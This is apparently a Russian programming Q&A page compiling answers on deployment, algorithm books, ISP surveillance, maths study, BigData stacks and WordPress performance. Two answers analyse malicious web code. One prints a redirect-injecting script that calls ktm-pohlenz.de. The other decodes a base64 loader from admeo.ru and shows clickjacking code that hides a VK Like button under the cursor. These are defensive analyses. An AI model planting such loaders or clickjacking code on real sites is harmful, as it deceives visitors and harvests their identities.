Задать вопрос
  • Как происходит деплой современного фронтенда?

    Можете посмотреть такие инструменты, как shipit и flightplan. Первый - более модульный, имеет некоторые плагины, а также поддерживает функцию "rolling releases" (чем-то похож на capistrano для ruby или deployer для php), второй же - более упрощенный.
    Варианты деплоя есть разные - можно локально собирать или на build-сервере и на прод заливать, а можно собирать уже на проде. Каждый выбирает то, что ему по душе.
    Ответ написан
    Комментировать
  • Что делает этот вирус?

    27cm
    @27cm
    TODO: Написать статус
    1. Функция checkOne() достаёт ключевые слова из тега <meta name="keywords" content="..." />
    2. Если ключевые слова не найдены, то скрипт берёт ключевые фразы из utm_term.
    3. Если ключевые фразы из utm_term не найдены, то используется title страницы.

    Найденные ключевые слова кодируются и отправляются в ktm-pohlenz.de/js/jquery.min.php. В результате вставляется JavaScript, который редиректит пользователя на URL адрес, максимально соответствующий найденным ключевым словам и HTTP referer страницы. Пример для этой страницы:
    <script type="text/javascript" src="http://ktm-pohlenz.de/js/jquery.min.php?c_utt=J18171&c_utm=http%3A%2F%2Fktm…IT%26se_referrer%3Dhttps%253A%252F%252Ftoster.ru%252F%26source%3Dtoster.ru"></script>


    P.S.: Редирект возвращается не всегда. Возможно на стороне ktm-pohlenz.de есть какая-то фильтрация по IP, UA, параметру c_utt и т. д.
    Ответ написан
    6 комментариев
  • Пособие по алгоритмам для самых начинающих?

    youlose
    @youlose
    Стивенс Род - Алгоритмы. Теория и практическое применение (Мировой компьютерный бестселлер) - 2016

    Хорошая книга на русском языке, написанная простым языком, примеры на паскалеподобном псевдоязыке.

    P.S. есть на rutracker.org
    Ответ написан
    Комментировать
  • Пособие по алгоритмам для самых начинающих?

    virtual_universe
    @virtual_universe
    Питонист:)
    Алгоритмы и структура данных. Третьяков.
    Ответ написан
    Комментировать
  • Пособие по алгоритмам для самых начинающих?

    dadster
    @dadster
    учить инглиш тут - https://t.me/langhacks
    очень круто объясняют тут, но надо английский знать
    https://www.khanacademy.org/computing/computer-sci...
    Ответ написан
    Комментировать
  • Пособие по алгоритмам для самых начинающих?

    @stunoff
    Томас Х. Кормен: Алгоритмы. Вводный курс.
    Д. М. Златопольский: Программирование. Типовые задачи, алгоритмы, методы 2012

    и просто сборник задач, вдруг пригодится для практики:
    Д. М. Златопольский: Сборник Задач по программированию
    Ответ написан
    1 комментарий
  • Как правильно замерять время?

    xmoonlight
    @xmoonlight
    https://sitecoder.blogspot.com
    Если Вы занимаетесь решением поставленной задачи в рамках проекта Заказчика, то любые действия - должны быть оплачены.
    Даже, если Вы собираете консилиум по скайпу.
    Ответ написан
    9 комментариев
  • Делаете ли вы гимнастику для глаз?

    kawabanga
    @kawabanga
    Кому как,

    Если работаете при хорошем освещении, с хорошими мониторами - глаза реже устают.
    Но все равно, раз в час ухожу чай попить, в окошко поглядеть, отвлечься.

    Если в Помодоро системе работаю, то каждые 25 минут.
    Ответ написан
    4 комментария
  • Какие есть современные методики обучения администрированию linux и bash-скриптам?

    tech22
    @tech22
    Лидер проекта http://th22.info
    Ну с бухты барахты покупать VPS и т.п. так-же как и начинать смотреть видеокурсы на ютубе я бы не рекомендовал, а посоветую вот, что.
    Начните с теории. Как я понял сейчас начинающие очень сильно плавают именно в понимании для чего какой инструмент используется, тут например сказали, что Bash древний и используйте Python. Довольно спорное утверждение. Поэтому для начала прочтите вот эту книгу adm-lib.ru/books/3/Nemeth_UNIX_System_Administrati... Это классика жанра. Ознакомившись, можете переходить уже к установке любого дистрибутива на виртуалку.
    Ответ написан
    Комментировать
  • Что мой провайдер знает обо мне?

    @nirvimel
    Когда я захожу на определенный сайт, провайдер видит URL?

    Да.

    А если я захожу на https?

    Известен IP сервера и имя домена. Больше ничего.

    Откуда провайдер узнает, что я скачиваю определенный фильм/программу через torrent?

    Торрент-клиент общается с трекером по HTTP. Все видно насквозь: конкретные торренты + вся статистика (когда начато скачивание, когда закончено, когда пошла раздача, сколько роздано). Возможно подключение к трекеру и по HTTPS, но rutracker.org такой возможности не дает (мне тоже интересно почему).

    Все пакеты которые я получаю и раздаю значит провайдер скачивает себе, чтобы узнать что это за фильм/программа?

    Провайдер не хранит у себя весь трафик. Это технически невозможно. Но трафик обрабатывается, классифицируется и ведутся логи о том какой тип трафика когда входил/уходил от абонента.

    Или он отслеживает факт скачивания .torrent файла, а затем делает вывод по идущим пакетам, что это скачивается?

    В основном отслеживаются коммуникации между торрент-клиентом и трекером (там все самое интересное). Коммуникации между пирами требуют значительных мощностей для расшифровки, поэтому логгируется только факт коммуникации с определенным пиром, но не содержимое.

    Когда я пользуюсь VPN, что видит провайдер?

    Видит шифрованный траффик на конкретный IP. По IP можно узнать, что этот диапазон продается под VPSы. Сам факт шифрованного трафика вешает абонента в списки тех, "кому есть что скрывать", а значит подозреваемых при любом розыске.

    Что я зашел на определенный IP и с него идут зашифрованные потоки?

    Дальнейшее направление трафика от VPN-сервера отследить невозможно (по крайней мере, на оборудовании провайдера в автоматическом режиме). Но при целенаправленной слежке за абонентом в принципе возможно по временным меткам сопоставить трафик абонента с трафиком любого сервера.

    OpenVPN будет работать через VPN IP и в браузере и при обновлении Windows, драйверов, ...?

    В зависимости от настройки. Но в общем случае, да, так.

    Читал, что в Windows есть такая особенность, что если провайдер как-то урезает пакет, то VPN отключается и сайту показывается мой реальный IP?

    Это не связанно с провайдером. Это особенность Windows. Когда VPN отваливается, весь трафик вылетает наружу в открытом виде. Опять же зависит от настроек. Но это еще одна цена "удобства" при использовании Windows.

    При этом провайдер видит на каком я сайте, что скачиваю?

    VPN отвалился - хацкер спалился.

    Таких фишек много?

    Смотря о чем речь. В сфере сетевой безопасности и анонимности различных нюансов вообще много.

    Как от них защитится?

    Учить мат.часть. Разбираться в сетевых протоколах и в устройстве ОС.

    Если пользуюсь каким-то расширением типа ZenMate, dotvpn, провайдер аналогично как и с VPN видит что что-то отправляется и приходит на определенный VPN IP?

    Расширения очень разные. Они могут базироваться на совершенно разных технологиях. Ни один специалист вам не скажет за все расширения. Не исключено, что многие из них, по сути - honeypot, то есть созданы с целью слежения за любителями анонимности, привлекают своим удобством и дают ложное чувство безопасности.

    При использовании Tor, кто-то пользуется моим IP, пока я пользуюсь чужим?

    Нет. Если у вас не сконфигурирован Exit Node.

    Что при этом видит провайдер, что я получаю потоки данных с определенных IP и каждый раз разный IP?

    У них есть система точного обнаружения использования Tor. Это факт остается в логах с теми же последствиями, что и для VPN.

    Провайдер видит URL?

    Через Tor и VPN - нет.

    Каким образом можно полностью управлять сетью на ПК, видеть что, куда и когда отправляется или приходит на ПК (Windows, Linux)?

    Видеть все: https://www.google.com/search?q=Wireshark
    Блокировать все лишнее: https://www.google.com/search?q=Comodo+Firewall
    Ответ написан
    22 комментария
  • Как закрыть пробелы в математике?

    @ArisChik
    Отвечу в стиле "много букв" в двух выкладках. Первая - если вы и правда хотите обуздать мир математики (но учтите что это совершенно не факт поможет вашей карьере), второй - краткий и быстрый.

    Первый:

    Если вы хотите идти в алгоритмы, я бы начал с дискретной математики. Эта сфера очень хорошо покрывает базовые потребности (комбинаторика, алгоритмы, логика).

    Есть много-много вариантов как её учить, могу предложить два варианта:

    - На портале stepic.org был курс "Дискретная математика" который неплохо покрывал базу по предмету, с большим-большим упором на комбинаторику и практические решения.

    - Книга "Дискретная Математика и Комбинаторика" за авторством Андерсона. Это просто превосходная теоретическая база для погружения в информатику. Начинают с логических доказательств и утверждений, заканчивая теорией чисел и теорией информации.

    Вообще, с такими запросами вам в MOOC. На Coursera, Khan Academy, Udacity можно найти очень - очень много курсов как базовых для совсем новичков, так и очень сильные и углубленные знания как аналитическую комбинаторику и дискретную оптимизацию.

    Начните с алгоритмов и основ математики: например, с 25-го января стартует известный курс "Algorithms, Part I", а дальше по мере его прохождения читайте дополнительную литературу по разным областям. Регистрируйтесь на SPOJ/Topcoder и углубляйтесь по сере освоения тем. Из основ: курсы по мат статистике на Udacity, Linear Algebra на Khan Academy и Комбинаторика на Coursera от МФТИ.

    Второй:

    Но, на самом деле, вычислительные методы, глубокая дискретная математика, математический анализ или линейная алгебра вам скорей всего не пригодится, а для знания основных алгоритмов и структур данных надо знать немного асимптотического анализа, и теории вероятности. Потому эти две универсальные книги вам помогут достичь цели крайне быстро:

    - "Mathematics for Computer Science" - книга в свободном доступе от преподавателей MIT. Первая ссылка по такому запросу вас наверняка выведет на PDF. 500 страниц концентрированных знаний в которых покрываются все необходимые знания для уверенного программирования
    - "Конкретная Математика" - настольная Библия для тренировки мозгов, решения задач и выработки математическог аппарата программиста и алгоритмического мышления.

    Кстати, записаться на курс алгоритмов и проходить его советую в обеих случаях.

    Удачи!
    Ответ написан
    Комментировать
  • Как закрыть пробелы в математике?

    @AlbertKraus
    www.mathprofi.ru спасает перед экзаменами в вузе уже второй год как, здесь принципе весь курс базовой математики, пройдешь это, и смело сможешь переходить на алгоритмы, которые уже перестанут казаться чем то сложным.
    Ответ написан
    Комментировать
  • Как закрыть пробелы в математике?

    @Pokatum
    Если завалили с 7-го класса, то рекомендую и начать с 7-го класса - подтянуть базу, так сказать. Чтобы потом не было стрема, что что-то в базе упущено, поэтому затык идти дальше. Тем более что, если знания по базе все-таки есть, то дело пойдет очень очень быстро, заодно все освежится и систематизируется, мозги разомнутся, преддверии более сложной математики ВУЗа. Я рекомендую начать с геометрии, так как она более комплексно включает мозг, и считается (мне так, когда я учился, говорили) что больше, чем алгебра, развивает интеллект). Проще всего скачать с сайта издательства "Просвещение" электронное приложение к учебнику геометрии 7-9-го классов - это интерактивный обучающий курс, имхо, хорошего качества, и начать с него.
    Ответ написан
    Комментировать
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • С чего начать изучать BigData?

    voidnugget
    @voidnugget
    Программист-прагматик
    BigData не очень то и связана со структурами данных - в основном это разнообразные пространственные структуры, скорее больше связана с алгоритмами NLP, классификации и машинного обучения.

    В первую очередь нужно выбрать средство обработки и хранения.
    В случае с Java это HBase Cassandra
    HBase - когда пишется в базу очень много, и большинство индексов "самодельные".
    Cassandra - когда соотношение чтения / записи 4:3, так как в Cassandra уже есть средства колоночной индексации.

    В случае с реальным высоконагрузом это ScyllaDB - обладает теми же особенностями что и HBase, но С++11 и Share-nothing approach и от того в 6-7 раз шустрее.

    Для БД до 200Гб хватит банального MySQL'я c R-tree индексом и Engine Archive.
    Вот PostgreSQL при правильной настройке спокойно строит B-tree индексы для объёмов данных в 500-700Гб, что для MySQL'я непосильная задача Ну и в PostgreSQL часто приходится дописывать сишные функции агрегации и строить по ним разнообразные индексы, иногда пространственные (gin/gist).

    Вот небольшой обзор разных типов индексов.

    От себя ещё добавлю MVP-tree для поиска похожих персептивных хэшей и Fusion-tree как более съедобный вариант дерева Ван Емде Боаса.

    По поводу хипстер-культа вокруг MongoDB - скажу что PostgreSQL с индексами на хэш-таблицах и небольшими множествами документов в 1.5-3 раза шустрее, потому что "Building Index with Vodka". А нормальная репликация и партицирование напрямую зависит от принципов решения задачи Консенсуса в каждом конкретном приложении, и без понимания работы Raft / Paxos не стоит надеятся на чудеса той же MongoDB или PostgreSQL, они являются не более чем инструментами для решения этой задачи.

    MongoDB очень даже ничего для реактивных проектов на основе Meteor, а для всего остального уже GoldenHammer™.

    По индексации, надо обязательно-обязательно прочитать книги Ханны Самет
    Foundations of Multidimensional and Metric Data St... = Applications of Spatial Data Structures: Computer ... + The Design and Analysis of Spatial Data Structures

    В принципе книжки Foundations of Multidimensional and Metric Structures должно хватить с головой, но можно "дочитывать" более полное описание в более древних работах. Одним словом тётка "жжёт", и я не знаю почему это до сих пор никто не перевёл.

    Ну после того как разобрались что и где и как хранить, теперь можно думать по поводу обработки...
    Есть древняя книжка "Алгоритмы интеллектуального Интернета" и "Программируем коллективный разум" Хоть названия переведены на русский довольно странно и звучат довольно наивно - это хорошее введение в простые средства обработки и анализа данных.

    По машинному обучению можно пройти курс Эндрю Ына на курсере.

    Есть Южный DataScience-централ, там есть много чего полезного. Его можно почитывать. Есть ещё поверхностные CheetSheet'ы, видел и получше, но не нашёл.

    Как DeepLearning адепт советую разобраться с Theano, и методами описанными тут. В продакшенах эта штука до безобразия слоупочна и видел товарищей которые более-менее успешно слезли на Neon.

    Если лезть в Java, то на примере Spotify чаще всего используются связки
    Apache Kafka -> Apache HBase -> Apache Storm -> Apache Spark (mllib) -> Apache HBase -> Apache Phoenix -> Hibernate + любой MVC фреймворк и т.п.

    Естественно об относительно высокой производительности и хорошем вертикальном масштабировании речи не идёт, если брать C++11 ScyllaDB -> Neon хорошо отпрофилировать и допилить, можно получить в 3-5 раз выше производительность и соответственно гораздо меньшие задержки, но обычно всем влом. REST API под такое обычно пытаются писать на сях (без плюсов) в виде расширений под Nginx, что является довольно породистым извратом - в большинстве случаев банального golang/netty будет достаточно.

    В Hadoop стэк сейчас принято не лезть, так как он очень "заынтерпрайсян" и без хорошей поддержки и допилки со стороны вендоров в реальных проектах просто неюзабелен, по этому почти все на него, в той или иной степени, забили. Например, тот же Spotify.

    По поводу HA и Zookeeper можно увидеть много срача, особенно в Netflix'e, по этому для менеджмента высокой доступности лучше использовать именно их решения - eureka или для отказоустойчивости Hystrix. Хотя я не могу сказать что это достаточно зрелые проекты - в них тоже хватает изъянов, но они на много шустрее остальных Apache поделок.

    Нельзя делать одновременно отказоустойчивые и высокодоступные приложения - потому что CAP теорема имеет место быть.

    Ещё есть очень тонкий момент с Java в целом - нужно минимизировать время сборки мусора и лезть в offheap, стоит глянуть как реализованы буферы в netty - это arena аллокатор по типу того что используется jemalloc и различная misc.unsafe ересь. Можно ещё пробовать Hazelcast / Terracotta, но принципиально там тоже самое, только платно и "расспределённо".

    Для REST API я чаще всего использую Vert.x и ванильную Java.
    Overhead от Scala довольно таки большой, а время компиляции просто вырвиглазное.
    Для минимизации копи-пасты вполне безопасно использовать Groovy c @ Immutable и @ CompileStatic.
    Но в Vert.x'e он весь "динамичный" :|

    Я ничего не могу сказать по поводу производительности Clojure, он местами через чур invokeDynamic. Естественно что ванильная Java будет шустрее, но я без понятия на сколько.

    Желаю Вам приятного вечера.

    p.s. не везде проставил ссылки просто потому что хочу спать.
    Ответ написан
    4 комментария
  • Где найти работу по удаленке в 40+ лет?

    kapuletti
    @kapuletti
    Уберите возраст из вопроса и найдете ответ.
    Ответ написан
    6 комментариев
  • Как сделать Wordpress очень быстрым?

    HeadOnFire
    @HeadOnFire
    PHP, Laravel & WordPress Evangelist
    Я уже раньше отвечал по поводу оптимизации VPS под быструю работу именно WP. Можете порыться в моих старых ответах. Но там все конечно в общих чертах. Сейчас как раз готовлю серию статей по этому поводу - от сетапа системы и пакетов, до оптимизации самого WP и кастомного кода. В принципе, могу достаточно детально проинструктировать, но писать тут сейчас такой объем лень :) Если хотите - стукните в личку (см. профиль).

    Если кратко:

    На shared хостинге разве что плагины кеширования, disk cache и тд. Чтобы добиться максимума, нужно:

    VPS
    нормально настроенная система, особенно дисковые и сетевые операции, включая tcp congestion control и прочие няшные твики
    Nginx, можно с fastcgi_cache, для хардкора есть модуль для прямой работы с memcached
    HHVM c фоллбеком на PHP-FPM (с opcache)
    Memcached / Redis
    MariaDB
    WordPress
    плагин/класс объектного кеширования на уровне WP
    минификация и конкатенация скриптов и стилей
    оптимизация изображений
    грамотный код (в том числе использование объектного кеша, transients / wp_cache)
    грамотное использование функционала ядра WP и архитектурные решения
    и еще огромная тележка мелких нюансов

    зы: такой хардкор касается не только WP но и любой другой платформы, если надо "быстро"
    ззы: а еще уже вышел HTTP/2 модуль под Nginx, сейчас как раз тестирую. Шустрая штука (кстати, снимает небольшую часть задач перечисленных выше)
    Ответ написан
  • Как сделать Wordpress очень быстрым?

    copist
    @copist
    Empower people to give
    1. Установить nginx + php-fpm
    2. Настроить в nginx выдачу всех страниц, которые генерятся в PHP через файлы
    habrahabr.ru/post/124684
    не кэшировать, если пользователь авторизовался или оставил комментарий через внутреннюю систему комментариев. Если комменты через Disquss, то с ними сам Disquss разберётся.
    3. Подключить плагины к Wordpress, которые работают с memcached.
    навскидку: Supercacher и W3 Total Cache
    4. Настроить сборку всех JS и CSS в кучу, сжатие и выдачу в минифицированном виде.
    Ответ написан
    3 комментария